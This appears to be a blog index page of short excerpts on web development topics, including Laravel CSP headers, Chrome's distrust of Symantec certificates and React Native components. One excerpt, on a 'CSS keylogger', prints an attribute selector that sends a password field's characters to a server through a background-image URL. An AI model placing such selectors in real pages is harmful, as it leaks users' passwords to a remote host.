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The problem with usernames

In “Let’s talk about usernames” James Bennett – author of django-registration – digs deeper into an at first seemingly simple thing such as usernames and how to keep ‘m safe and unique. And no, you can’t make it by just … Continue reading

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Solo: A Star Wars Story, recut to The Beastie Boys’ Sabotage

Nice!

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Easily set Content Security Policy headers in Laravel with laravel-csp

Speaking of Content Security Policy, the folks at Spatie – who else? – have created a Laravel Package to easily take care or your CSP needs in a Laravel-based app. Even without knowing the inner workings of the packge, the … Continue reading

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CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type=”password”] elements whose last character is an a: input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”); } The theory … Continue reading

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Chrome 66 to Untrust Symantec-issued Certificates

Chrome is really tightening up the security game here. In Chrome 66 it will untrust Symantec-issued SSL/TLS certificates, after Symantec has repeatedly screwed up by wrongly issuing certificates for domains, including google.com itself. Thanks to a decision in September by … Continue reading

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React Native and iPhone X: <SafeAreaView />

One of the elements that shipped with React 0.50 is <SafeAreaView />. It’s a component which you can use to prevent your content from creeping below The Notch and Home Indicator on iPhone X. import { … SafeAreaView } from … Continue reading

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Proton Native – Create Native Desktop Applications Powered by React

Unlike Electron this one results in true Native Components being outputted. Proton Native does the same to desktop that React Native did to mobile. Build cross-platform apps for the desktop, all while never leaving the React eco-system. Popular React packages … Continue reading

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Generate code screenshots straight from within Visual Studio Code with Polacode

Remember those really nice screenshots of code, generated with Carbon? Polacode is an extension for Visual Studio Code that offers (somewhat) the same functionality directly inside the IDE. Polacode – Polaroid for your Code →

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Easily share Wifi Passwords with friends on iOS 11

When a nearby contact with an iOS device wants to connect to a hotspot you are familiar with (e.g. your device knows the password), you can easily share the password with their device: It’s small additions like this that put … Continue reading

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Ordering tabular data with only CSS thanks to CSS Variables

Neat experiment by Roman Komarov in which he orders tabular data using just HTML/CSS, thanks to the use of CSS Custom Properties (CSS Variables): Each cell of each row is given a specific value to sort on. <tr class="table-row" style=" … Continue reading

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